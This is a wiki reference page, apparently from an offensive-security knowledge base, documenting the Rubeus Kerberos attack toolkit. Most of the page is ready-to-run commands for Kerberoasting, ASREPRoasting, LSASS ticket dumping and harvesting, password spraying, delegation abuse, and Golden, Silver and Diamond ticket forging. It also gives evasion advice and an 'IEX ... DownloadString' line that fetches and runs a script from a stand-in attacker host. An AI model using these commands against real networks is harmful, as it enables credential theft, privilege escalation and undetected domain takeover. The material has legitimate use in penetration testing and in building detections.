ᛉ Yggdrasil

Tool references

Rubeus Wiki

17 Sep 2026 · 5,942 words · 27 min

Contents

Author: Will Schroeder (@harmj0y) / SpecterOps
Repo: https://github.com/GhostPack/Rubeus
Description: C# toolset for raw Kerberos interaction and abuses
Current Version: 2.3.3 (as of late 2024)
Target Platform: Windows / .NET 4.0+

Overview

Rubeus is a C# port and expansion of the original Kekeo project, designed for direct, low-level Kerberos interaction from within a Windows environment. It is one of the most complete Kerberos offensive toolkits available, covering everything from basic TGT/TGS acquisition through advanced abuse paths like S4U delegation, AS-REP/Kerberoasting, ticket forging, and the newer dMSA/BetterSuccessor attack chain.

Key capabilities:

  • Request TGTs using password, hash, AES key, certificate (PKINIT), or RC4
  • Perform Kerberoasting and ASREPRoasting with hash output directly in hashcat/JtR format
  • Abuse S4U2Self and S4U2Proxy for constrained and resource-based constrained delegation
  • Forge Golden and Silver Tickets with fine-grained PAC control
  • Forge Diamond Tickets (modification of legitimate PAC in a real TGT)
  • Import, export, inject, and manage Kerberos tickets in the Windows session
  • Harvest TGTs from the LSA with or without high integrity
  • Monitor LSASS for new TGTs appearing in logon sessions
  • Relay and convert between .kirbi and .ccache formats for Linux/Impacket interop
  • Request tickets for dMSA accounts (BetterSuccessor / BadSuccessor)
  • Perform cross-realm attacks using inter-realm tickets

Compilation & Deployment

Compiling from Source

# Clone the repo
git clone https://github.com/GhostPack/Rubeus.git

# Open Rubeus.sln in Visual Studio
# Target: .NET Framework 4.0 (or 4.5 for newer features)
# Build -> Build Solution
# Output: Rubeus\bin\Release\Rubeus.exe

Dependencies: Asn1, Bouncy Castle, SharpCollection (all referenced via NuGet or included in repo).

Pre-compiled Binaries

Pre-compiled builds are maintained at SharpCollection. Always verify the hash of any pre-compiled binary before use in engagements.

Deployment Methods

# Direct execution (if Defender is off or bypassed)
.\Rubeus.exe <action> [arguments]

# In-memory via PowerShell + AMSI bypass
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\path\Rubeus.exe"))
[Rubeus.Program]::MainString("asktgt /user:user /password:pass /domain:domain.local /dc:DC01")

# Via Cobalt Strike execute-assembly
execute-assembly /path/to/Rubeus.exe kerberoast /nowrap

# Via PowerSharpPack
IEX(New-Object Net.WebClient).DownloadString('http://attacker/PowerSharpPack.ps1')
Invoke-Rubeus -Command "kerberoast /nowrap"

# Via SharpLab or inline C# execution
# (use your preferred in-memory execution framework)

OPSEC Note on Disk Writes

Rubeus, by default, writes output to stdout. Tickets are saved to disk only when /outfile: is explicitly specified. This makes it safer than tools that always write to %TEMP%. Prefer /outfile: paths in non-user-writable locations or pipe directly to another tool.

Global Flags & Behavior Notes

Flag Description
/nowrap Disable base64 line-wrapping on ticket output (required for piping)
/outfile:FILE Write ticket (.kirbi) to a file instead of stdout
/domain:DOMAIN Target domain FQDN
/dc:DC Target Domain Controller hostname or IP
/ptt Inject resulting ticket directly into the current logon session
/luid:LUID Target a specific Logon Session LUID (requires SYSTEM or SeDebugPrivilege)
/service:SPN Target service SPN for ticket requests
/enctype:TYPE Force encryption type: rc4, aes128, aes256, des
/opsec Enable OPSEC-safe mode (avoids RC4 downgrade, mimics normal client behavior)
/nopreauth Used with asreproast for accounts with pre-auth disabled
/format:hashcat Output format for crackable hashes: hashcat (default) or john
/tgtdeleg Use TGT delegation trick for ticket harvesting

Privilege Requirements:

  • Standard user: Can request their own TGTs, perform Kerberoasting, ASREPRoasting.
  • SYSTEM / High Integrity + SeDebugPrivilege: Required to dump other sessions' tickets from LSASS, inject into other sessions, monitor LSASS.
  • Domain user with GenericAll/GenericWrite/AllExtendedRights: May set SPN for Kerberoasting setup, set shadowCredentials, or abuse delegation.

Authentication Input Formats

Rubeus accepts credentials in several forms across its actions:

# Cleartext password
/password:Password123!

# NT hash (RC4 Kerberos key)
/rc4:A72B4A...<32hex>

# AES-128 key
/aes128:A72B4A...<32hex>

# AES-256 key (most OPSEC-safe — matches DC default behavior)
/aes256:A72B4A...<64hex>

# DES key (legacy, rarely needed)
/des:A72B4A...<16hex>

# Certificate (PKINIT) - PFX with optional password
/certificate:C:\path\to\cert.pfx
/password:PfxPassword

# Certificate from base64-encoded PFX
/certificate:<base64_pfx>
/password:PfxPassword

# Existing ticket (kirbi) — used for chaining operations
/ticket:C:\path\to\ticket.kirbi
/ticket:<base64_kirbi>

Choosing the right key type:

When you have an NT hash, you're using RC4 Kerberos encryption (etype 23). This is detectable via anomaly detection because modern Windows clients default to AES256 (etype 18). If you have AES keys (from secretsdump or from shadow credentials), prefer /aes256: with /opsec to produce less detectable traffic.

Ticket Acquisition

asktgt

Requests a Ticket Granting Ticket (TGT) from the KDC using AS-REQ. The primary action for getting a foothold in the Kerberos world after obtaining credentials.

# Password-based TGT request
Rubeus.exe asktgt /user:john.doe /password:Password123! /domain:domain.local /dc:DC01.domain.local

# NT hash / RC4 key
Rubeus.exe asktgt /user:john.doe /rc4:8846F7EAEE8FB117AD06BDD830B7586C /domain:domain.local /dc:DC01.domain.local

# AES-256 key (preferred for OPSEC)
Rubeus.exe asktgt /user:john.doe /aes256:<64hexkey> /domain:domain.local /dc:DC01.domain.local /opsec

# AES-128 key
Rubeus.exe asktgt /user:john.doe /aes128:<32hexkey> /domain:domain.local /dc:DC01.domain.local

# Certificate / PKINIT (e.g., after Shadow Credentials or ADCS abuse)
Rubeus.exe asktgt /user:john.doe /certificate:C:\certs\john.pfx /password:CertPass /domain:domain.local /dc:DC01.domain.local

# Certificate from base64 (avoid disk writes)
Rubeus.exe asktgt /user:john.doe /certificate:<base64_pfx> /domain:domain.local /dc:DC01.domain.local

# Request and immediately inject into current session
Rubeus.exe asktgt /user:john.doe /password:Password123! /domain:domain.local /ptt

# Save ticket to file
Rubeus.exe asktgt /user:john.doe /rc4:<NThash> /domain:domain.local /outfile:john.kirbi

# Request for computer account
Rubeus.exe asktgt /user:DC01$ /rc4:<machine_nthash> /domain:domain.local /dc:DC01.domain.local

# Force RC4 encryption (etype 23) in the AS-REQ
Rubeus.exe asktgt /user:john.doe /password:Password123! /domain:domain.local /enctype:rc4

# Request with explicit PAC request (default is yes — this disables it)
Rubeus.exe asktgt /user:john.doe /password:Password123! /domain:domain.local /nopac

Key flags for asktgt:

Flag Description
/user:USER Target username
/domain:DOMAIN Domain FQDN
/dc:DC DC hostname or IP
/password:PASS Cleartext password
/rc4:HASH NT hash (RC4 key)
/aes128:KEY AES-128 session key
/aes256:KEY AES-256 session key
/certificate:PFX PFX path or base64 for PKINIT
/enctype:TYPE Force encryption type
/opsec Prefer AES, mimic client behavior
/ptt Inject ticket on success
/outfile:FILE Write .kirbi to file
/nowrap No line-wrap on base64 output
/nopac Request TGT without PAC
/proxyurl:URL KDC proxy URL (for HTTPS tunneling to KDC)
/keylist Request KeyList ticket (for Keylist attack)

asktgs

Requests a Ticket Granting Service (TGS) for a specific SPN, given an existing TGT. Used to request service tickets that can be cracked (Kerberoasting) or used for service access.

# Basic TGS request using a TGT on disk
Rubeus.exe asktgs /ticket:john.kirbi /service:cifs/fileserver.domain.local /domain:domain.local

# From base64 TGT
Rubeus.exe asktgs /ticket:<base64_kirbi> /service:cifs/fileserver.domain.local /domain:domain.local

# Request multiple service tickets
Rubeus.exe asktgs /ticket:john.kirbi /service:cifs/srv01.domain.local,http/srv01.domain.local /domain:domain.local

# Force RC4 encryption (useful for Kerberoasting with known SPN)
Rubeus.exe asktgs /ticket:john.kirbi /service:mssqlsvc/sql01.domain.local:1433 /enctype:rc4 /domain:domain.local

# Request a service ticket and inject into current session
Rubeus.exe asktgs /ticket:john.kirbi /service:cifs/fileserver.domain.local /domain:domain.local /ptt

# Request using a TGT from the current session (dump + reuse)
Rubeus.exe asktgs /service:cifs/fileserver.domain.local /domain:domain.local
# (uses first TGT found in session if no /ticket specified)

# Cross-realm TGS request (inter-forest)
Rubeus.exe asktgs /ticket:john.kirbi /service:krbtgt/TARGET.FOREST /domain:source.domain /dc:DC01.source.domain

# Request with extra SIDs in PAC (for cross-forest privilege escalation)
Rubeus.exe asktgs /ticket:john.kirbi /service:cifs/target.forest.com /domain:domain.local \
  /targetdomain:target.forest.com /targetdc:TARGETDC.target.forest.com

asktgtsimple

Simplified TGT request — does not require elevation. Identical output to asktgt but designed for simpler one-liner use cases.

Rubeus.exe asktgtsimple /user:john.doe /password:Password123! /domain:domain.local
Rubeus.exe asktgtsimple /user:john.doe /rc4:<NThash> /domain:domain.local /nowrap

Ticket Operations

ptt

Pass-the-Ticket: imports a .kirbi ticket or base64-encoded ticket blob into the current logon session (or a specified LUID session).

# Import from file
Rubeus.exe ptt /ticket:C:\path\to\admin.kirbi

# Import from base64
Rubeus.exe ptt /ticket:<base64_kirbi>

# Import into a specific LUID session (requires SYSTEM)
Rubeus.exe ptt /ticket:admin.kirbi /luid:0x3e7

# Verify with klist afterward
klist

Important: ptt injects tickets into the Windows logon session's credential cache, not into a new process. After injection, any SMB/CIFS/LDAP access from that session uses the injected ticket. Tools like net use \\target\share or dir \\target\share will work after a successful ptt.

purge

Purges all Kerberos tickets from the current logon session (or specified LUID). Used for cleanup and to ensure a clean state before a new ticket injection.

# Purge current session
Rubeus.exe purge

# Purge a specific LUID session (requires SYSTEM)
Rubeus.exe purge /luid:0x3e7

describe

Parses and prints a .kirbi ticket's contents (encryption type, service, validity, PAC, etc.) without importing it anywhere.

# Describe a ticket file
Rubeus.exe describe /ticket:admin.kirbi

# Describe a base64 ticket
Rubeus.exe describe /ticket:<base64_kirbi>

Output includes: ServiceName, ServiceRealm, UserName, UserRealm, StartTime, EndTime, RenewTill, Flags, KeyType, and PAC information.

dump

Dumps Kerberos tickets from LSASS memory. Requires elevated privileges or SYSTEM to read other sessions' tickets.

# Dump all tickets from all sessions (requires high integrity)
Rubeus.exe dump

# Dump only TGTs (/service:krbtgt filters to TGT tickets)
Rubeus.exe dump /service:krbtgt

# Dump tickets for a specific LUID
Rubeus.exe dump /luid:0x3e7

# Dump tickets for a specific user
Rubeus.exe dump /user:john.doe

# Dump and output without base64 wrapping (for piping)
Rubeus.exe dump /nowrap

# Dump and save each ticket to separate file
Rubeus.exe dump /outfile:tickets
# Produces: tickets_<username>_<service>.kirbi per ticket

triage

Lists all Kerberos tickets in all logon sessions (metadata only — no ticket bytes). Shows which sessions have which tickets without reading encrypted key material.

# List all sessions and tickets
Rubeus.exe triage

# List only sessions with TGTs
Rubeus.exe triage /service:krbtgt

# Filter by user
Rubeus.exe triage /user:john.doe

# Filter by LUID
Rubeus.exe triage /luid:0x3e7

This is useful for quickly identifying which sessions have administrator or privileged tickets without the noise of a full dump.

klist

Wrapper around the native Windows klist output, but with Rubeus formatting and additional decoded information.

Rubeus.exe klist

tgtdeleg

Abuses the Kerberos KRB_CRED delegation trick to extract a usable TGT from the current user's session without elevation. Works because Windows allows a service to request a forwarded TGT on behalf of a user when unconstrained delegation is involved — Rubeus abuses this locally to get the TGT bytes from the current user's session.

# Extract TGT via delegation trick (no elevation required)
Rubeus.exe tgtdeleg

# Target a specific SPN to direct the delegation request
Rubeus.exe tgtdeleg /target:cifs/DC01.domain.local

# Save output
Rubeus.exe tgtdeleg /nowrap

Requirement: The current user must have a TGT in the current session (i.e., they logged in with domain credentials). This does not require unconstrained delegation to be configured on the machine — it exploits the behavior of the Windows Kerberos client.

currentluid

Displays the LUID (Logon User Identifier) of the current logon session. Useful before using /luid: flags.

Rubeus.exe currentluid

Kerberoasting

kerberoast

Requests TGS tickets for accounts with SPNs set, then outputs the encrypted ticket data in a crackable format (hashcat/JtR).

# Kerberoast all accounts with SPNs (from current session)
Rubeus.exe kerberoast /nowrap

# Target a specific user
Rubeus.exe kerberoast /user:svc_mssql /domain:domain.local /nowrap

# Target a specific SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.domain.local:1433 /nowrap

# Output in John the Ripper format (default is hashcat)
Rubeus.exe kerberoast /format:john /nowrap

# Force RC4 encryption (downgrade from AES — noisier but faster to crack)
Rubeus.exe kerberoast /rc4opsec /nowrap
# or
Rubeus.exe kerberoast /tgtdeleg /enctype:rc4 /nowrap

# Use a specific TGT for the request
Rubeus.exe kerberoast /ticket:admin.kirbi /nowrap

# Kerberoast a specific user using their password directly (no session needed)
Rubeus.exe kerberoast /user:svc_mssql /password:Pass /domain:domain.local /dc:DC01 /nowrap

# AES Kerberoasting (no RC4 downgrade — stealthier, slower to crack)
Rubeus.exe kerberoast /aes /nowrap

# LDAP filter to target only specific accounts
Rubeus.exe kerberoast /ldapfilter:"adminCount=1" /nowrap

# Kerberoast against a domain controller directly specifying credentials
Rubeus.exe kerberoast /creduser:domain\attacker /credpassword:Pass /domain:domain.local /dc:DC01 /nowrap

Key flags:

Flag Description
/user:USER Target specific sAMAccountName
/spn:SPN Target specific SPN
/domain:DOMAIN Domain FQDN
/dc:DC DC to query via LDAP
/format:FORMAT hashcat (default) or john
/rc4opsec Prefer RC4 via TGT delegation trick
/aes Request AES TGS (if account supports it)
/enctype:TYPE Force etype in TGS-REQ
/tgtdeleg Use TGT delegation for the request
/ticket:KIRBI Use this TGT for requesting service tickets
/outfile:FILE Write hashes to file
/nowrap No base64 line-wrapping
/ldapfilter:FILTER Additional LDAP filter to narrow targets
/ldaps Use LDAPS for the enumeration query
/creduser: / /credpassword: Alternate credentials for LDAP query

Hash output format:

$krb5tgs$23$*svc_mssql$DOMAIN.LOCAL$MSSQLSvc/sql01.domain.local:1433*$<hash>

Pass to hashcat: hashcat -m 13100 hashes.txt wordlist.txt

For AES256 TGS: hashcat -m 19700 hashes.txt wordlist.txt

ASREPRoasting

asreproast

Requests AS-REP for accounts that have Kerberos pre-authentication disabled (DONT_REQ_PREAUTH UAC flag). The encrypted AS-REP timestamp is crackable offline.

# ASREP-roast all vulnerable accounts (LDAP query to find them)
Rubeus.exe asreproast /nowrap

# Target a specific user
Rubeus.exe asreproast /user:john.doe /domain:domain.local /dc:DC01 /nowrap

# Output in John format
Rubeus.exe asreproast /format:john /nowrap

# LDAP query using alternate credentials
Rubeus.exe asreproast /creduser:domain\attacker /credpassword:Pass /domain:domain.local /dc:DC01 /nowrap

# Force RC4 in the AS-REP (etype 23) — most common, easier to crack
Rubeus.exe asreproast /user:john.doe /domain:domain.local /dc:DC01 /enctype:rc4 /nowrap

# Save hashes to file
Rubeus.exe asreproast /outfile:asrep_hashes.txt /nowrap

# Without a pre-existing session (standalone — useful from Linux via Wine or from a non-domain machine)
Rubeus.exe asreproast /user:john.doe /domain:domain.local /dc:DC01.domain.local /nopreauth /nowrap

Hash output format:

$krb5asrep$23$john.doe@DOMAIN.LOCAL:<hash>

Pass to hashcat: hashcat -m 18200 hashes.txt wordlist.txt

Delegation Abuse

s4u

Performs S4U2Self and S4U2Proxy in a single chain. Used for impersonating any user to a target service when you control an account with constrained delegation or RBCD configured.

# Full S4U chain: impersonate Administrator to cifs/DC01
# Using a TGT you already hold
Rubeus.exe s4u /ticket:svc_account.kirbi /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.domain.local /domain:domain.local /ptt

# Using credentials directly (Rubeus requests TGT internally)
Rubeus.exe s4u /user:svc_http /rc4:<NThash> /impersonateuser:Administrator \
  /msdsspn:http/webapp.domain.local /domain:domain.local /dc:DC01.domain.local /ptt

# RBCD abuse (the machine account you control has msDS-AllowedToActOnBehalfOfOtherIdentity set on target)
Rubeus.exe s4u /user:EVILPC$ /rc4:<machine_nthash> /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.domain.local /domain:domain.local /dc:DC01.domain.local /ptt

# Alternate service name substitution (e.g., get a cifs ticket from an http constrained delegation)
Rubeus.exe s4u /ticket:svc_http.kirbi /impersonateuser:Administrator \
  /msdsspn:http/webapp.domain.local /altservice:cifs /domain:domain.local /ptt

# S4U with AES key
Rubeus.exe s4u /user:svc_http /aes256:<aes_key> /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.domain.local /domain:domain.local /ptt /opsec

# Cross-domain S4U (inter-forest delegation)
Rubeus.exe s4u /user:svc_http /rc4:<NThash> /impersonateuser:Administrator \
  /msdsspn:cifs/crossforest.target.com /domain:source.domain.local \
  /targetdomain:target.com /targetdc:DC01.target.com /ptt

# RBCD: S4U with an additional TGT for the target domain
Rubeus.exe s4u /user:EVILPC$ /aes256:<key> /impersonateuser:DA \
  /msdsspn:cifs/DC01.domain.local /domain:domain.local \
  /dc:DC01.domain.local /nowrap /ptt

Key flags:

Flag Description
/ticket:KIRBI TGT to use for the S4U request
/user:USER Account to S4U from (must have delegation rights)
/rc4: / /aes256: Credentials for internal TGT request
/impersonateuser:USER User to impersonate (cannot be protected user or admin by default)
/msdsspn:SPN Target SPN for S4U2Proxy
/altservice:SPN Substitute service name (service ticket modification)
/domain:DOMAIN Source domain
/targetdomain:DOMAIN Target domain (cross-realm)
/dc:DC Source domain DC
/targetdc:DC Target domain DC (cross-realm)
/ptt Inject resulting ticket
/opsec Use AES, avoid RC4 downgrade
/self Only do S4U2Self, skip S4U2Proxy

S4U2Self only (without Proxy):

Use /self when you want to get a service ticket to yourself on behalf of a user, without needing constrained delegation configured on the target. Useful for checking what tickets look like before the proxy step.

s4u2self

A shortcut for performing only the S4U2Self step without chaining into S4U2Proxy.

Rubeus.exe s4u /user:svc_http /rc4:<NThash> /impersonateuser:Administrator \
  /msdsspn:http/webapp.domain.local /domain:domain.local /self /nowrap

Ticket Renewal & Conversion

renew

Renews a TGT before it expires. Kerberos TGTs typically have a 7-day maximum renewable life, though individual TGT lifetimes (the initial validity window) are commonly 10 hours.

# Renew a TGT from file
Rubeus.exe renew /ticket:tgt.kirbi

# Renew a base64 TGT
Rubeus.exe renew /ticket:<base64_kirbi>

# Renew and inject
Rubeus.exe renew /ticket:tgt.kirbi /ptt

# Keep renewing automatically (every N seconds, until max renewable life is hit)
Rubeus.exe renew /ticket:tgt.kirbi /autorenew

# dMSA context — renew a short-validity dMSA TGT (15-minute window)
Rubeus.exe renew /ticket:dmsa_tgt.kirbi /ptt

changepw

Changes a user's password using the Kerberos KRB_PRIV message (kpasswd protocol). Does not require LDAP or SMB — operates at the Kerberos protocol level.

# Change password of user with their TGT
Rubeus.exe changepw /ticket:user.kirbi /new:NewPassword123! /dc:DC01.domain.local /targetuser:john.doe

# Without specifying targetuser (changes password of the TGT owner)
Rubeus.exe changepw /ticket:user.kirbi /new:NewPassword123! /dc:DC01.domain.local

convert

Converts a .kirbi ticket to base64 or back to binary.

# Binary kirbi -> base64
Rubeus.exe convert /ticket:tgt.kirbi

# base64 -> binary kirbi
Rubeus.exe convert /ticket:<base64> /outfile:tgt.kirbi

kirbi2ccache / ccache2kirbi

Converts between Windows .kirbi format and Linux/MIT .ccache format for cross-platform Kerberos interop.

# kirbi to ccache (for use with Impacket on Linux)
Rubeus.exe kirbi2ccache /kirbi:tgt.kirbi /outfile:tgt.ccache

# ccache to kirbi (from Linux to Windows)
Rubeus.exe ccache2kirbi /ccache:tgt.ccache /outfile:tgt.kirbi

On Linux, after converting:

export KRB5CCNAME=/path/to/tgt.ccache
impacket-secretsdump -k -no-pass domain.local/Administrator@DC01.domain.local

Hash & Key Operations

hash

Calculates NT hash and Kerberos AES keys from a given password. Useful when you have plaintext credentials and want to use key-based auth without the cleartext appearing in logs.

# Compute NT hash and Kerberos keys from password
Rubeus.exe hash /password:Password123!

# Include username and domain for salted AES keys
Rubeus.exe hash /password:Password123! /user:john.doe /domain:domain.local

Output:

[*] Action: Calculate Password Hash(es)

[*] Input password    : Password123!
[*] Input username    : john.doe
[*] Input domain      : domain.local
[*] Salt              : DOMAIN.LOCALjohn.doe
[*]       rc4_hmac          : 8846F7EAEE8FB117AD06BDD830B7586C
[*]       aes128_cts_hmac_sha1 : 2A...
[*]       aes256_cts_hmac_sha1 : 6B...
[*]       des_cbc_md5       : 7A...

calculatepassword

Calculates a Pre-Windows 2000 computer account password based on the computer's sAMAccountName. Used in Pre-Win2000 group membership attacks.

# Calculate the default pre-win2000 password for a computer account
Rubeus.exe calculatepassword /computername:OLDPC$

# For a specific NetBIOS domain
Rubeus.exe calculatepassword /computername:OLDPC$ /domain:DOMAIN

Attack context: Machine accounts added to the "Pre-Windows 2000 Compatible Access" group have their passwords set to a deterministic value derived from the lowercase computer name. This is a common misconfiguration in older domains or during domain join operations that selected the wrong compatibility option.

Brute Force & Password Attacks

brute

Performs Kerberos-based password brute forcing using AS-REQ preauth. Unlike LDAP-based brute force, this does not increment the badPwdCount on the account (depends on DC configuration — some DCs do track it even via Kerberos).

# Brute force a single user with a wordlist
Rubeus.exe brute /user:john.doe /passwords:wordlist.txt /domain:domain.local /dc:DC01

# Password spray across all users from a user list
Rubeus.exe brute /users:userlist.txt /password:Summer2024! /domain:domain.local /dc:DC01

# Single user, single password test
Rubeus.exe brute /user:john.doe /password:Password123! /domain:domain.local /dc:DC01

# Spray with delay (milliseconds between attempts)
Rubeus.exe brute /users:userlist.txt /password:Summer2024! /domain:domain.local /dc:DC01 /delay:500

# Brute with verbose output
Rubeus.exe brute /user:john.doe /passwords:wordlist.txt /domain:domain.local /dc:DC01 /verbose

OPSEC warning: Even though Kerberos-based brute forcing may not increment badPwdCount on older DCs, it still generates 4768 (AS-REQ) events and, on failure, 4771 (Kerberos pre-authentication failed) events. Avoid high-frequency spraying. One password per user list with a 30-second+ delay is the operational norm.

Monitoring & Harvesting

monitor

Monitors LSASS for new Kerberos TGTs appearing across all logon sessions. Whenever a new TGT is cached (e.g., a user logs in, a service starts), Rubeus captures and outputs it. Requires SYSTEM.

# Monitor for new TGTs (check every 60 seconds)
Rubeus.exe monitor /interval:60

# Monitor and automatically inject every captured TGT
Rubeus.exe monitor /interval:60 /targetuser:Administrator /nowrap

# Monitor and filter for a specific user
Rubeus.exe monitor /interval:60 /targetuser:Administrator

# Monitor and write tickets to files as they appear
Rubeus.exe monitor /interval:60 /outfile:captured_tickets

This is primarily used on machines where privileged users are expected to authenticate (e.g., a compromised server that admins connect to via RDP or management tools). Once a privileged TGT appears, it's captured and can be used for lateral movement.

harvest

Similar to monitor, but also continuously renews captured TGTs before they expire, maintaining a persistent cache of harvested tickets.

# Harvest TGTs, renew before expiry
Rubeus.exe harvest /interval:30

# Harvest and filter for specific user
Rubeus.exe harvest /interval:30 /targetuser:Administrator

# Harvest, renew, and inject each captured ticket
Rubeus.exe harvest /interval:30 /nowrap

Cross-Forest & Trust Attacks

Golden / Silver Ticket Forging

Ticket forging in Rubeus requires the KRBTGT AES/RC4 key (Golden Ticket) or the target service account's key (Silver Ticket). These are obtained from DCSync (impacket-secretsdump) or mimikatz lsadump::dcsync.

diamond

Forges a Diamond Ticket: requests a real TGT from the KDC, then modifies the PAC within that ticket (rather than forging an entirely synthetic ticket). The encrypted ticket portion is real — only the PAC (privilege data) is modified. This produces a more realistic ticket that is harder to detect by tools looking for forged TGT signatures.

# Diamond ticket — request real TGT, forge PAC with target user's groups
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
  /groups:512 /krbkey:<krbtgt_aes256> /domain:domain.local /dc:DC01.domain.local /ptt

# Using explicit credentials for the real TGT portion
Rubeus.exe diamond /user:attacker /password:Pass /domain:domain.local \
  /ticketuser:Administrator /ticketuserid:500 /groups:512 \
  /krbkey:<krbtgt_aes256> /dc:DC01 /ptt

# Inject the diamond ticket
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
  /groups:512 /krbkey:<krbtgt_aes256> /domain:domain.local /ptt /nowrap

golden

Forges a complete Golden Ticket (synthetic TGT signed with KRBTGT key). Provides full impersonation of any user, with any group memberships. Valid indefinitely (or until KRBTGT key is reset twice).

# Golden ticket with RC4 key
Rubeus.exe golden /rc4:<krbtgt_nthash> /user:Administrator /id:500 \
  /domain:domain.local /sid:S-1-5-21-<domain_sid> /ptt

# Golden ticket with AES-256 key (preferred — avoids RC4 detection)
Rubeus.exe golden /aes256:<krbtgt_aes256> /user:Administrator /id:500 \
  /domain:domain.local /sid:S-1-5-21-<domain_sid> /ptt

# Include extra SIDs for cross-forest / child-to-parent escalation
Rubeus.exe golden /aes256:<krbtgt_aes256> /user:Administrator /id:500 \
  /domain:child.domain.local /sid:S-1-5-21-<child_sid> \
  /sids:S-1-5-21-<root_domain_sid>-519 /ptt

# Custom groups (512 = Domain Admins, 519 = Enterprise Admins)
Rubeus.exe golden /rc4:<krbtgt_nthash> /user:FakeUser /id:9999 \
  /domain:domain.local /sid:S-1-5-21-<sid> /groups:512,519 /ptt

# Save to file
Rubeus.exe golden /aes256:<key> /user:Administrator /id:500 \
  /domain:domain.local /sid:S-1-5-21-<sid> /outfile:golden.kirbi

silver

Forges a Silver Ticket: a synthetic TGS signed with the target service account's key. Valid only for accessing that specific service but does not touch the DC during use.

# Silver ticket for CIFS access to a server
Rubeus.exe silver /rc4:<service_nthash> /user:Administrator /service:cifs/fileserver.domain.local \
  /domain:domain.local /sid:S-1-5-21-<domain_sid> /ptt

# Silver ticket for WMI/DCOM
Rubeus.exe silver /rc4:<machine_nthash> /user:Administrator \
  /service:host/workstation.domain.local /domain:domain.local /sid:S-1-5-21-<sid> /ptt

# Silver ticket for MSSQL
Rubeus.exe silver /rc4:<svc_mssql_nthash> /user:Administrator \
  /service:MSSQLSvc/sql01.domain.local:1433 /domain:domain.local /sid:S-1-5-21-<sid> /ptt

# Silver ticket with AES key
Rubeus.exe silver /aes256:<service_aes256> /user:Administrator \
  /service:cifs/fileserver.domain.local /domain:domain.local /sid:S-1-5-21-<sid> /ptt

# Specify the machine SID and RID for the impersonated user
Rubeus.exe silver /rc4:<nthash> /user:Administrator /id:500 \
  /service:cifs/srv01.domain.local /domain:domain.local /sid:S-1-5-21-<sid> /ptt

createnetonly

Creates a new process in a sacrificial logon session (LOGON32_LOGON_NEW_CREDENTIALS) with any fake credentials. The process has a separate credential cache into which tickets can be injected, isolating your attack session from the current user session.

# Create a hidden cmd.exe with a fake logon session
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"

# Create a specific program
Rubeus.exe createnetonly /program:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

# Create and show the window
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

# Typical workflow: create session, get LUID, inject ticket into that LUID
Rubeus.exe createnetonly /program:"cmd.exe" /show
# Note the LUID from output, e.g. 0x5e4b3a
Rubeus.exe ptt /ticket:admin.kirbi /luid:0x5e4b3a

This is critical for OPSEC: injecting a foreign ticket into your own session can disrupt your existing authenticated connections. Creating a sacrificial session isolates the attack.

dMSA / BetterSuccessor Abuse

Overview

dMSA (Delegated Managed Service Account) accounts introduced in Server 2025 have a msDS-ManagedAccountPrecededBy attribute that links them to a "predecessor" account. The BetterSuccessor / BadSuccessor attack abuses misconfigured CreateChild rights on the domain's MSA container, allowing a low-privilege attacker to create a dMSA linked to a privileged predecessor (e.g., Domain Admin), then request a TGT for that dMSA that contains the predecessor's privileges in the PAC.

The attack requires that the target DC is running Windows Server 2025 (or that the domain functional level supports dMSA).

Requesting dMSA TGTs

After a dMSA has been created (via SharpSuccessor or BloodyAD add badSuccessor) and the successor relationship is configured:

# Step 1: Create dMSA via SharpSuccessor or BloodyAD (outside Rubeus)
# SharpSuccessor.exe add --name evilDMSA --predecessor "CN=Administrator,CN=Users,DC=domain,DC=com" --dc DC01
# OR
# bloodyAD add badSuccessor evilDMSA -t CN=Administrator,CN=Users,DC=domain,DC=com

# Step 2: Request TGT for the dMSA using its password/AES key
# dMSA passwords are managed — extract the NT hash via DCSync or LAPS-style read
Rubeus.exe asktgt /user:evilDMSA$ /rc4:<dmsa_nthash> /domain:domain.local /dc:DC01.domain.local /nowrap

# Or using AES key
Rubeus.exe asktgt /user:evilDMSA$ /aes256:<dmsa_aes256> /domain:domain.local /dc:DC01.domain.local /nowrap

# Step 3: Inspect the ticket — PAC should contain predecessor's groups
Rubeus.exe describe /ticket:<base64_tgt>

# Step 4: Use the TGT
Rubeus.exe ptt /ticket:<base64_tgt>

# Step 5: dMSA TGTs have a 15-minute validity by default (renewable for 7 days)
# Renew before expiry:
Rubeus.exe renew /ticket:evilDMSA_tgt.kirbi /ptt

Important validity window: dMSA TGTs issued by Server 2025 DCs have a 15-minute EndTime by default. They are renewable up to the domain's maximum renewable life (commonly 7 days). You must renew proactively to maintain access.

Renewal loop pattern:

# Check ticket time with describe
Rubeus.exe describe /ticket:evilDMSA_tgt.kirbi

# Renew approximately every 10 minutes (leave 5-minute buffer)
Rubeus.exe renew /ticket:evilDMSA_tgt.kirbi /ptt

On Linux with Impacket after converting to ccache:

export KRB5CCNAME=evilDMSA.ccache
# Renew via MIT Kerberos
kinit -R
# Or re-request via Impacket
python3 getTGT.py domain.local/evilDMSA$ -hashes :NThash -dc-ip DC01

Ticket Format & OPSEC Notes

Ticket Formats

Format Extension Platform Notes
KRB_CRED .kirbi Windows Base64 or binary; used by Rubeus, Mimikatz
ccache .ccache Linux/MIT Used by Impacket, MIT Kerberos, Heimdal

Convert between them with kirbi2ccache / ccache2kirbi or with impacket-ticketConverter.

Encryption Type OPSEC

Etype Value OPSEC Risk
DES-CBC-MD5 3 Very high — deprecated, never used by modern clients
RC4-HMAC 23 Medium-High — common in older environments, but flagged by modern SIEMS when new
AES128-CTS-HMAC-SHA1 17 Low — normal
AES256-CTS-HMAC-SHA1 18 Lowest — default for modern Windows

Always use /aes256: + /opsec when possible. RC4 is faster to crack but leaves distinctive patterns in event logs (4769 with Ticket Encryption Type 0x17).

Event IDs to Know

Event ID Meaning
4768 AS-REQ (TGT request) — Kerberoasting, asktgt
4769 TGS-REQ (service ticket request) — Kerberoasting if etype 0x17
4771 AS-REQ pre-auth failure — brute force indicator
4770 TGT renewal
4672 Special privileges assigned at logon — Golden/Silver Ticket indicator
